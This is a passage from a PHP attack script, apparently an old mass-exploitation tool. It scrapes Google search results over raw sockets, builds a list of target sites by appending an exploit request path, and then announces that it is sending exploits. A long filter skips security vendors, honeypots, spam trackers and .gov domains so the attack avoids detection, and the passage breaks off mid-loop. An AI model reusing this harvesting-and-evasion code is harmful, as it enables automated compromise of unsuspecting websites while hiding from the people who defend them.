'') {$packetii.="Cookie: ".$COOKIE."\r\n";} $packetii.="Host: www.google.com\r\n"; $packetii.="Connection: Close\r\n\r\n"; $connected=0; while (!$connected) { $query="/search?hl=it&ie=UTF-8&q=".str_replace("%20","+",urlencode($querystring))."&meta=&safe=off&start=$res"; $link="http://www.google.com".$query; $packet ="GET ".$query." HTTP/1.0\r\n"; $packet = $packet.$packetii; $ock=fsockopen(gethostbyname('www.google.com'),80); echo "connecting...\r\n"; if (!$ock) { echo "Not Connected...\r\n"; } else { echo "Connected...\r\n"; fputs($ock,$packet); $html=''; $starttime=microtime(); stream_set_blocking($ock,0); while (!feof($ock)) { $html.=fgets($ock); } fclose($ock); if (eregi("Set-Cookie:",$html)) { $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $COOKIE=$temp2[0]; } $split = explode(" ",$html); for($i=0; $i",$split[$i]); $url = $url[0]; $url = substr(substr($url,6),0,-1); if(substr($url,0,7) == "http://" && !strstr($url,"search?") && !strstr($url,"google") && !strstr($url,"blogger") && !strstr($url,"orkut") && !strstr($url,"sourceforge") && !strstr($url,"milw0rm.com") && !strstr($url,"xfocus.com") && !strstr($url,"iss.net") && !strstr($url,"securityfocus.com") && !strstr($url,"frsirt.com") && !strstr($url,"secunia.com") && !strstr($url,"secwatch.org") && !strstr($url,"linuxrocket.net") && !strstr($url,"unixtool.com") && !strstr($url,"yahoo.com") && !strstr($url,"packetstorm") && !strstr($url,"hack") && !strstr($url,"secure") && !strstr($url,"exploit") && !strstr($url,"seclist") && !strstr($url,"security") && !strstr($url,"watch") && !strstr($url,"bugtraq") && !strstr($url,"bug") && !strstr($url,"shadowserver") && !strstr($url,"dyndns") && !strstr($url,"packetstorm") && !strstr($url,"honeypot") && !strstr($url,"myspace") && !strstr($url,"immunitysec") && !strstr($url,"spamhaus") && !strstr($url,"seclists") && !strstr($url,"webhostingtalk") && !strstr($url,"nabble.com") && !strstr($url,"blogspot") && !strstr($url,"youtube") && !strstr($url,"livejournal") && !strstr($url,"110mb") && !strstr($url,"ebay") && !strstr($url,"paypal") && !strstr($url,"blogspot") && !strstr($url,"webd.nl") && !strstr($url,"sans.org") && !strstr($url,".gov") && !strstr($url,"softpedia.com") && !strstr($url,"linux") && !strstr($url,"mysql.com") && !strstr($url,"php.net") && !strstr($url,"php.org") && !strstr($url,"download.com")) { $url = explode("http://",$url); $url = explode("/",$url[1]); $url = $url[0]; $url = "http://".$url."$request"; array_push($site,$url); } } } if ((eregi('HTTP/1.1 200',$html)) or (eregi('HTTP/1.0 200',$html))) { if (eregi('non ha prodotto risultati in nessun documento',$html)) {echo "mmmh... nothing here\r\n";} else if (eregi('spurious',$html)) {echo "Google honeypot made its dirty work\r\n";} else if (eregi('Traduci questa pagina',$html)) { echo "OK, found stuff...\r\n "; } else { echo "error in evaluating output!\r\n"; } $connected=1; } else if ((eregi("Terms Of Service",$html)) or (eregi('HTTP/1.0 201',$html))) {echo "Terms of Service message... mphhh";} else if ((eregi("HTTP/1.1 201",$html)) or (eregi('HTTP/1.0 201',$html))) {echo "-> Created";} else if ((eregi("HTTP/1.1 202",$html)) or (eregi('HTTP/1.0 202',$html))) {echo "-> Accepted";} else if ((eregi("HTTP/1.1 204",$html)) or (eregi('HTTP/1.0 204',$html))) {echo "-> No Content";} else if ((eregi("HTTP/1.1 301",$html)) or (eregi('HTTP/1.0 301',$html))) {echo "-> Moved Permanently";} else if ((eregi("HTTP/1.1 302",$html)) or (eregi('HTTP/1.0 302',$html))) {echo "-> Moved Temporarily"; sleep(5); } else if ((eregi("HTTP/1.1 304",$html)) or (eregi('HTTP/1.0 304',$html))) {echo "-> Not Modified";} else if ((eregi("HTTP/1.1 400",$html)) or (eregi('HTTP/1.0 400',$html))) {echo "-> Bad Request"; //sleep(5); } else if ((eregi("HTTP/1.1 401",$html)) or (eregi('HTTP/1.0 401',$html))) {echo "-> Unauthorized";} else if ((eregi("HTTP/1.1 403",$html)) or (eregi('HTTP/1.0 403',$html))) {echo "-> Forbidden"; // sleep(5); //$connected=1; } else if ((eregi("HTTP/1.1 404",$html)) or (eregi('HTTP/1.0 404',$html))) {echo " -> Not Found";} else if ((eregi("HTTP/1.1 500",$html)) or (eregi('HTTP/1.0 500',$html))) {echo " -> Internal Server Error";} else if ((eregi("HTTP/1.1 501",$html)) or (eregi('HTTP/1.0 501',$html))) {echo " -> Not Implemented ";} else if ((eregi("HTTP/1.1 502",$html)) or (eregi('HTTP/1.0 502',$html))) {echo " -> Bad Gateway";} else if ((eregi("HTTP/1.1 503",$html)) or (eregi('HTTP/1.0 503',$html))) {echo " -> Unavailable";} else if (eregi("Location",$html)) {echo " -> Redirected ";} else { echo "unspecified error!"; } echo "\r\n"; } } $res=$res+10; sleep($delay); } while($res < ($results*10)); print "Found ". count($site) ." sites. Sending exploit(s).\r\n"; for($i=0;$i